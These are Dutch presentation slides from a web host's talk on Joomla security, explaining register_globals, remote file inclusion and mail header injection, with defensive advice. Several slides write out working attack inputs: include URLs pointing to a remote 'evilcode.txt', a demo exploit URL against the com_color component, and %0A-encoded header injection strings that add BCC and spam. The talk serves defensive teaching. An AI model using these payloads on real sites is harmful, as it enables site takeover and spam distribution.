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Over mij

• Gertjan Oude Lohuis

• Studie: informatica
• Platformontwikkelaar/beheerder

bij Byte. 
• Uit rol van beheerder, maar ook

uit interesse, bezig met security.
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Over Byte

• In 1999 opgericht
• Focus op kwaliteit, beveiliging 

en schaalbare oplossingen
• 10.000 domeinnamen, 10 vaste 

medewerkers



5

Byte & Joomla

• Eigen site op Joomla
• Donatie aan Joomla bij nieuwe Joomla-site

• Veel klanten en webdesigners die Joomla
gebruiken

• Attenderen op nieuwe versie
• Attenderen op lek component
• Lek in component dichten

Nabije toekomst:
• Automated install
• Security audits van componenten
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                           Versies van bij Byte gei nstalleerde Joomla's
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Hackers
• Wie hackt er?

• Hoe doen ze het?
– Wie niet? �

– Spam, Phishing, ID Theft, 
creditcard gegevens, eer/lol …

– XSS

– SQL Injection
– Mail Header Injection

– PHP instellingen (register_globals) 
• Waarom wordt er gehacked?
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http://www.zone-h.org/
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Lekken vinden

• Of beter: lekken misbruiken

• Open Source Vulnerability 
DataBase (OSVDB)
– http://www.osvdb.org

• Common Vulnerabilities and 
Exposures (CVE)
– http://cve.mitre.org
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• Zoekopdracht op ‘joomla’
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Oorzaken

• > 90% Joomla-hacks 
veroorzaakt door 2 PHP-
instellingen

– register_globals

– allow_url_fopen
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register_globals

• variabelen die aan een script 
meegegeven worden
automatisch in PHP beschikbaar
gemaakt

– index.php?naam=gertjan
• $naam

– index.php?naam=gertjan&logged_in=1
• $naam / $logged_in
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allow_url_fopen

• De ‘include()’-functie van PHP 
kan PHP-code op een andere
webserver openen.
– Normaal:
<?php

include(“functions.php”);

?>

– Met allow_url_fopen:
<?php

include(“http://www.oudelohuis.nl/functions.php”);

?>
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Hoe wordt dit misbruikt?

• $mosConfig_absolute_path = 
“/home/users/oudelftp/oudelohuis.nl”

• include(“$mosConfig_absolute_path/file.php”);

• Gevolg: PHP-code in evilcode.txt wordt uitgevoerd als
onderdeel van de website!

• $mosConfig_absolute_path = 
“http://badsite.com/evilcode.txt?”

• include(“http://badsite.com/evilcode.txt?/file.php”);
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Joomla & Security

• Core is ‘veilig’
• Componenten bevatten veel

fouten
– Slecht programmeerwerk
– Geen rekening houden met 

bepaalde PHP instellingen

– Soms weinig updates
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Hoe ziet een lek eruit?
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Externe aanroep
voorkomen

<?
defined( ‘VALID_MOS’ ) or die( “Jij geniepig ventje!” );

?>
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En wat kan er nu allemaal
gebeuren?

• Maar één antwoord: alles .

• Site wordt misbruikt om:
– spam te versturen;

– kinderporno te verspreiden;
– via phishing inloggegevens te

achterhalen;

– …
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Phishing voorbeeld
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com_color
<?

include( “$mosConfig_live_site/” .
“components/com_color/about.html”);

?>

<?
include( “http://53533461.cable.casema.nl/evilcode.txt?/” .

“components/com_color/about.html”);
?>
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En dat betekent … ?

• register_globals: open deur tot je website.

• In Nederland: 30-40% hosters heeft het
standaard aanstaan.

• Wie zijn er kwetsbaar?
– register_globals aan, of
– Joomla <= 1.0.12

• Maar: Joomla 1.5 kent (gelukkig) geen
RG_EMULATION meer.
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Mail Header Injection

• Mail opgebouwd uit headers en 
body.

• Headers bevatten oa. 
geadresseerden (To, CC, BCC) 
en onderwerp (Subject).

• Body is bericht + eventuele
attachments.
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Mail Header Injection (2)

$from = “gertjan@oudelohuis.nl”

To: gertjan@byte.nl
Subject: Gegroet! 
From: gertjan@oudelohuis.nl � $from

He!
Dit heb ik je altijd al willen vertellen …
Groet!
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Mail Header Injection (3)
$from = “gertjan@oudelohuis.nl%0ABCC: 

b.gates@microsoft.com,henk@banaan.nl”

To: gertjan@byte.nl

Subject: Gegroet! 

From: gertjan@oudelohuis.nl
BCC: b.gates@microsoft.com,henk@banaan.nl

He!
Dit heb ik je altijd al willen vertellen …

Groet!
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Mail Header Injection (4)
$from = “gertjan@oudelohuis.nl%0ABCC: 

b.gates@microsoft.com,henk@banaan.nl%0ASu
bject: Buy Viagra!%0A%0AYou really should buy 
some viagra at www.lamespammer.com!”

To: gertjan@byte.nl

Subject: Gegroet! 
From: gertjan@oudelohuis.nl

BCC: b.gates@microsoft.com,henk@banaan.nl

Subject: Buy Viagra!

You really should buy some viagra at 
www.lamespammer.com

He!

Dit heb ik je altijd al willen vertellen …

Groet!
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Mail Header Injection (5)
• Oplossingen

– Controleer je input!
– Verwijder gevaarlijke karakters uit

de input (\n, \r\n of hexadecimale
equivalenten).

– Gebruik Mailer-classes
• Zend_Mail
• PEAR::Mail
• Swift Mailer
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Scared yet?
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Wat kunnen we doen?

• Macro-niveau (hosters, 
ontwikkelaars):
– Software maken die gebruik van 

register_globals niet toelaat.
– Register_globals geforceerd uitzetten.
– Snel overstappen naar PHP6 (geen

register_globals meer).

• Micro-niveau (gebruikers)
– register_globals uitzetten!
– Software up-to-date houden.
– ‘Goede’ software gebruiken.
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Wat kan/moet Joomla
doen?

• Verbieden om componenten
direct aan te roepen.

• Updates van componenten
afdwingen.

• Er moet een kwaliteitskeurmerk
voor Joomla componenten
komen!
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Beveiligingsbeleid

• Wat doet Byte bij een hack?
– Inventarisatie, directe actie, nazorg

• Wat doet Byte om hacks te 
voorkomen?
– Hack detector, honeypots, zone-h trap

• 2000 – 3000 pogingen per dag
– Schatting: 1 per week succesvol
– Maar: voordat register_globals uit stond 2 per 

dag!
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Conclusie

• Hacks makkelijk te vinden en te
misbruiken

• Potentieel groot risico
• Heel erg veel sites kwetsbaar
• Actie vanuit Joomla-team is 

gewenst
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com_expose

• Image upload
1. Controle op filename

2. Controle op mime-type
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DEMO (com_color)

• Geinstalleerde Joomla met lek
component:
– http://www.oudelohuis.nl/joomla

• Tekstbestand met ‘evil code’
– http://53533461.cable.casema.nl/evilcode.txt

• URL:
– http://oudelohuis.nl/joomla/administrator/components/

com_color/admin.color.php?mosConfig_live_site=
http://53533461.cable.casema.nl/evilcode.txt?


